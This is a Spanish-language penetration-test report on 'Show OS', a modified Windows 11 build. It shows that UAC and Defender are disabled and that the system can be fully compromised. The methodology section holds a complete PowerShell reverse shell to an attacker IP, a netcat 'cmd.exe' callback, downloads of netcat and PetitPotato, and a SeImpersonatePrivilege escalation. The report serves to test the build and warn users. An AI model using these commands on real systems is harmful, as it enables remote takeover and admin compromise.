REPORTE SHOW OS v1.0.
Este es un pequeño reporte que contiene los hallazgos encontrados a la modificacion de windows con el nombre "Show OS".
Contenido
- 1 Reporte - Show OS
- 1.1 Introducción
- 1.2 Objetivo
- 1.3 Requerimientos
- 2 Reporte - Alto nivel (resumen)
- 2.1 Resultados
- 2.2 Recomendaciones
- 3 Metodología
- 5 Conclusiones
Reporte - Show OS
Introduccion
El dia 25 de septiembre de 2024, el creador de contenido SDFX Show subio un video a su canal de youtube anunciando su “mejor sistema operativo” bajo el nombre “Show OS” una variante del sistema operativo de Microsoft Windows 11 en su version 24H2.
Objetivo
El objetivo de este informe es validar que ShowOS, como modificación de Windows 11, cuente con las medidas de seguridad adecuadas para proteger el sistema frente a amenazas cibernéticas y vulnerabilidades. Este análisis se centrará en varios aspectos clave de la seguridad del sistema operativo, asegurando que se implementen las mejores prácticas y herramientas disponibles. La validación de la seguridad en ShowOS no solo implica una revisión de las configuraciones actuales, sino también una evaluación proactiva de sus capacidades para detectar y responder a incidentes de seguridad. A través de pruebas y metodologías de pentesting, se busca identificar posibles vulnerabilidades que podrían ser explotadas por atacantes malintencionados. Además, se examinará la efectividad de las herramientas integradas en ShowOS para garantizar que los usuarios puedan gestionar adecuadamente la seguridad del sistema a lo largo del tiempo.
Requerimientos
El alcance de este informe se centra en la evaluación de la seguridad de ShowOS, una modificación de Windows 11, abarcando diversas áreas críticas que son esenciales para garantizar su robustez y resistencia ante amenazas cibernéticas. Este análisis se llevará a cabo a través de un enfoque sistemático que incluye pruebas de penetración y revisiones de configuración. A continuación, se detallan los componentes específicos que se incluirán en el alcance del informe:
- Evaluación de la seguridad.
- Configuraciones del Sistema:
- Revisión de las configuraciones predeterminadas de seguridad en ShowOS y protecciones contra exploits.
- Análisis de las configuraciones relacionadas con el acceso y control de usuarios, asegurando que se implementen principios de mínimo privilegio.
- Configuraciones del Sistema:
- Protección contra Malware:
- Evaluación de la efectividad de las herramientas integradas para la protección contra malware, como Windows Defender, y su configuración para análisis programados y protección en tiempo real.
- Verificación del estado y actualizaciones del sistema antivirus y antimalware.
- Protección contra Malware:
- Pruebas de penetracion.
- Simulación de Ataques:
- Realización de pruebas controladas para simular ataques cibernéticos comunes, evaluando la capacidad del sistema para detectar y mitigar estas amenazas.
- Evaluación de la respuesta del sistema ante intentos de explotación de vulnerabilidades conocidas.
- Simulación de Ataques:
- Análisis de Vulnerabilidades:
- Uso de herramientas automatizadas para identificar vulnerabilidades en el sistema operativo y aplicaciones instaladas.
- Revisión manual para detectar configuraciones inseguras o debilidades que podrían ser explotadas por atacantes.
- Análisis de Vulnerabilidades:
Reporte Alto Nivel (Resumen)
Durante la evaluación de seguridad de ShowOS, se identificaron dos vectores de ataque con una criticidad de nivel critica y alta: La tecnicas explotadas son ejecución Remota de Código (RCE) y escalada de privilegios. Remote Code Execution permite a un atacante ejecutar código malicioso de forma remota en el sistema afectado, lo que podría resultar en el control total del dispositivo comprometido, la instalación de malware o el robo de datos confidenciales. Esta clase de vulnerabilidad es especialmente peligrosa, ya que puede ser explotada a través de fallos en la configuración del sistema, ya que no se cuenta con el componente de windows defender, permitiendo al atacante realizar diversas acciones maliciosas sin necesidad de utilizar tecnicas mas complejas como evasion, ofuscacion o alguna otra.
- Tabla de criticidad.
Criticidad | Numero |
---|---|
Critica | 1 |
Alta | 1 |
Media | 0 |
Baja | 0 |
Observacion | 0 |
- Graficos.
Resultados
- Critica: CAPEC-578 [RCE] Remote Code Execution (Ejecucion remota de codigo) .
- Estatus: No remediada.
- Descripción: La ejecución remota de código puede describirse mejor como una acción que implica que un atacante ejecute código de forma remota utilizando vulnerabilidades o malas configuraciones del sistema. Dicho código puede ejecutarse desde un servidor remoto, lo que significa que el ataque puede originarse desde cualquier lugar del mundo, dando al atacante acceso al PC. Una vez que el actor obtiene acceso a un sistema, podrá realizar cambios en el ordenador objetivo.
- Referencias:
- Categorizacion:
- Alta CAPEC-633: Token Impersonation [Privilege Escalation] (Escalada de privilegios).
- Estatus: No remediada.
- Description: La escalada de privilegios es el resultado de acciones que permiten a un adversario obtener un mayor nivel de permisos en un sistema o red. Ciertas herramientas o acciones requieren un mayor nivel de privilegios para funcionar y es probable que sean necesarias en muchos puntos a lo largo de una operación.
- Referencia:
- Categorizacion
Recomendaciones
Los sistemas modificados Windows deben ser unicamente de uso personal, jamas deben de redistribuirse bajo el concepto de replazo del sistema oficial Windows de Microsoft. Por lo que en lo general la recomendacion es no utilizar estas versiones modificadas que conllevan grandes riesgos debido a malas configuraciones, falta de transparencia y temas legales en cuanto a la redistribucion de estas modificaciones.
- 1.1 CAPEC-578 [RCE] Remote Code Execution (Ejecucion remota de codigo).
- La recomendacion para mitigar esta debilidad es no remover los mecanismos de defensa integrados en el sistema operativo (Windows defender). Ya que los vectores de ataque se incrementan considerablemente.
- 1.2 CAPEC-633: Token Impersonation [Privilege Escalation] Escalada de privilegios.
- La recomendacion para mitigar esta debilidad es seguir el principio de minimo privilegio, no otorgado privilegios administrativos a la cuenta del usuario. Delegar unicamente estas funciones a la cuenta de administrador.
Metodologia
Informacion inicial
Archivo.
- Nombre: ShowOS Pro v1.0.iso
- Peso en Gigabytes: 4.1G
- Peso en Bytes: 4340508672
Hashes.
MD5
1
39f99bc18123b9ce33aa96d66f87ace5
SHA1SUM
1
8b922e9b8d831f54d82682bfd91f3a18a9b8d11c
SHA256
1
88342368cdc084a28b2ea9ca6495d391cdbdb66cbfd943cfd126d298fecc4001
- Red.
- IP: 192.168.1.62
- Consideraciones adicionales.
- Para esta prueba se tiene un enfoque de caja blanca, por lo que se tiene acceso a la arquitectura, en este caso al equipo que contiene la instalación nueva de ShowOS. Por lo que es relevante compartir los componentes utilizados en el equipo:
Componente | Especificacion |
---|---|
Hypervisor: | VMWare Workstation 17 pro |
CPU: | 2 Socket / 2 Cores |
RAM: | 8Gb |
SSD: | 60Gb |
GPU: | N/A |
IP: | 192.168.1.62 |
OS: | Show OS v1.0 |
Enumeracion
Para la enumeracion se realizo el reconocimiento mediante un escaneo de NMAP para validar que no existiesen protocolos de red que permitieran un vector de ataque conocido.
1
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.62
La salida nos muestra unicamente el puerto 7680 open tcp pando-pub
que es utilizado por WUDO (Windows Update Delivery Optimization), por lo que no se identifico otro puerto abierto que generara un vector de ataque, sin embargo la muestra utilizadas es una instalacion nueva de ShowOS, por lo que conforme se vaya añadiendo software los puertos abiertos pueden incrementar dependiendo del uso.
Como se indico en la informacion general el enfoque de las pruebas es de caja blanca, por lo que se tiene acceso a la maquina que contiene la instalación de ShowOS. Por lo que se realizara la enumeración del sistema dentro de la misma shell de Microsoft Windows (CMD, Powershell).
Estado de UAC (User Account Control)
El Control de Cuentas de Usuario (UAC) en Windows es una característica de seguridad diseñada para prevenir cambios no autorizados en el sistema. Dentro de sus funciones se encuentran:
- Prevención de Cambios No Autorizados.
- Control de Privilegios.
- Notificaciones de Seguridad.
- Configuración de Niveles de Aviso.
- Protección Durante Instalaciones.
- Interacción con Otros Controles de Seguridad.
La mala configuración de este componente es critica, ya que genera vectores de ataque donde ya se tiene que contemplar evadir el User Account Control, ya que no notifica o solicita privilegios para instalaciones o modificaciones dentro del sistema operativo. Con el siguiente comando podemos consultar el estado del UAC en ShowOS:
1
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA"
El valor que tiene asignado EnableLUA
es de 0, por lo que el UAC no esta activado, esto quiere decir que no se notifica o se solicitan permisos para los cambios o instalaciones de software.
Referencias:
Privilegios
Para poder listar los privilegios que se generan para el usuario predeterminado haremos uso de los siguientes comandos.
Listar los privilegios para el usuario actual:
1
whoami /priv
Referencias:
Listar los privilegios del grupo y SID’s:
1
whoami /groups
Referencias:
Penetracion
- Intrusion:
Para la intrusion se utilizo una reverse shell que fue escrita en PowerShell
ya que al no existir un software dedicado a la prevencion de ejecucion de exploits como seria windows defender (mismo que viene integrado en las versiones sin modificar de Windows 11) es realmente sencillo poder compartir una conexion mediante esta shell.
Reverse shell:
Reverse shell en texto:
1
$LHOST = "192.168.1.20"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Esta reverse shell tiene definidas dos variables en donde $LHOST
es la maquina atacante a la cual se enviara nuestra conexion, por lo que tiene como valor la direccion IP 192.168.1.20
. $LPORT
que hace referencia a el puerto por el cual se estara transmitiendo la conexion que tiene como valor 9001
.
La variable $TCPClient
es la que contiene el metodo para generar una conexion y tiene como argumentos la maquina y puerto que le hemos indicado. Los metodos $StreamWriter
, $StreamReader
, manejan las entradas y salidas para la escritura y lectura. Mientras que $StreamWriter.AutoFlush
se asegura que los datos sean reenviados despues de cada escritura. A si tambien la variable $Buffer
almacena los datos leidos por el flujo de la conexion.
Dentro del comando introducido a powershell tenemos un bucle que identifica si las instrucciones son codigo y en caso de serlo utiliza la funcion Invoke-Expression
quien es la encargada de realizar ejecucion remota de codigo.
1
2
3
4
5
6
7
8
9
10
11
while ($TCPClient.Connected) {
while ($NetworkStream.DataAvailable) {
$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length)
$Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1)
}
if ($TCPClient.Connected -and $Code.Length -gt 1) {
$Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }
$StreamWriter.Write("$Output`n")
$Code = $null
}
}
Mientras tanto en nuestro equipo atacante nos ponemos a la escucha por el puerto 9001
con el comando:
1
nc -lnvp 9001
Al ejecutar la reverse shell obtenemos la conexion con exito en nuestra maquina atacante.
Manteniendo el acceso
Para mantener el acceso a el ShowOS utilizaremos el binario compilado de netcat para windows, compilado por eternallybored
. Mismo que se puede conseguir en el siguiente enlace:
Para poder hacer la descarga de este archivo utilizaremos la funcion Invoke-WebRequest
de powershell.
1
Invoke-WebRequest -Uri "https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip" -OutFile nc.zip -UseBasicParsing
Para descomprimir este archivo haremos uso de la funcion Expand-Archive
de powershell.
1
Expand-Archive -Path nc.zip -DestinationPath nc
Nos movemos al directorio con cd
1
cd nc
Posteriormente a el directorio de netcat
1
cd netcat-1.11
Listamos el contenido con dir
y veremos los ejecutables de netcat.
Para realizar nuestra conexion haremos uso del siguiente comando:
1
nc 192.168.1.20 9999 -e cmd.exe
Obtenemos la conexion
Escalada de privilegios
Para poder obtener privilegios de administrador haremos uso de la mala asignacion de los mismos dentro de la configuracion del sistema operativo. Para este vector de ataque se abusa del privilegio SeImpersonatePrivilege
que permite Suplantar a un cliente tras la autenticación. Se hizo uso de la herramienta PetitPotato que automatiza el poder abusar de este privilegio y obtener un cmd con privilegios de administrador.
Para poder realizar la escalada de privilegios, es necesario descargar la herramienta PetitPotato, por lo que para poder obtenerla mediante la reverse shell implementada utilizaremos los siguientes comandos:
1
Invoke-WebRequest -Uri "https://github.com/wh0amitz/PetitPotato/releases/download/v1.0.0/PetitPotato.exe" -OutFile "PetitPotato.exe" -UseBasicParsing
Listamos dentro de la reverse shell que tenemos validando que la herramienta se haya descargado
Utilizamos la herramienta como lo indica la documentacion PetitPotato Docs.
1
.\PetitPotato.exe 3 cmd
Se ha conseguido la escalada de privilegios, por lo que el sistema ha sido comprometido en su totalidad.
Al ser comprometido el sistema incluyendo los privilegios administrativos. Cualquier acción que se haga a la post explotación es totalmente posible, esto incluye, cifrar informacion, robar cookies, dañar el sistema entre otras.
Desafios adicionales.
Todo el sistema se ejecuta como administrador.
Powershell se ejecuta con permisos administrativos.
CMD se ejecuta con permisos administrativos.
El dialogo de ejecucion. Tiene permisos administrativos.
Runas.exe
El comando runas conserva su funcionalidad.
Reverse Shell vs Defender (Windows 11 Pro).
Mensaje de salida en una instalacion de windows 11 pro. Windows defender la detecta como maliciosa.
Conclusiones
Show OS es una modificacion de Windows que presenta riesgos severos para la seguridad del sistema y del usuario. Su uso no se recomienda bajo ninguna circunstancia. Ya que no presenta mecanismos de seguridad que favorezcan la misma. Dejando al usuario y al sistema vulnerable ante ataques cibernéticos.
Show OS no sigue el principio de minimo privilegio, por lo que los privilegios se encuentran mal asignados, permitiendo realizar modificaciones, configuraciones con privilegios administrativos. Resultando en peligro potencial ante cualquier malware o actor mal intencionado.
No existe transparencia para Show OS, se desconoce las modificaciones realizadas al sistema, como el por que de las mismas. Esto toma mas relevancia, viendo los puntos anteriores, ya que se distribuye con la intencion de ayudar a los usuarios, teniendo un efecto contrario en ello.